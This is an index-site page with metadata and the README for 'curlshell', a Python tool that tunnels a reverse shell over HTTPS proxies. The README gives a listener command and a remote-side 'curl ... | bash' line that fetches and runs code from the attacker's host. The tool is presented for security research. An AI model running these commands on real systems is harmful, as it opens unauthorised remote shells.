Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/irsl/curlshell
reverse shell using curl
https://github.com/irsl/curlshell
Last synced: 13 days ago
JSON representation
reverse shell using curl
- Host: GitHub
- URL: https://github.com/irsl/curlshell
- Owner: irsl
- Created: 2023-07-13T19:38:34.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2024-04-20T15:23:11.000Z (7 months ago)
- Last Synced: 2024-08-01T22:54:48.373Z (3 months ago)
- Language: Python
- Size: 3.91 KB
- Stars: 439
- Watchers: 6
- Forks: 70
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Reverse shell using curl
During security research, you may end up running code in an environment,
where establishing raw TCP connections to the outside world is not possible;
outgoing connection may only go through a connect proxy (HTTPS_PROXY).
This simple interactive HTTP server provides a way to mux
stdin/stdout and stderr of a remote reverse shell over that proxy with the
help of curl.## Usage
Start your listener:
```
./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234
```On the remote side:
```
curl https://curlshell:1234 | bash
```That's it!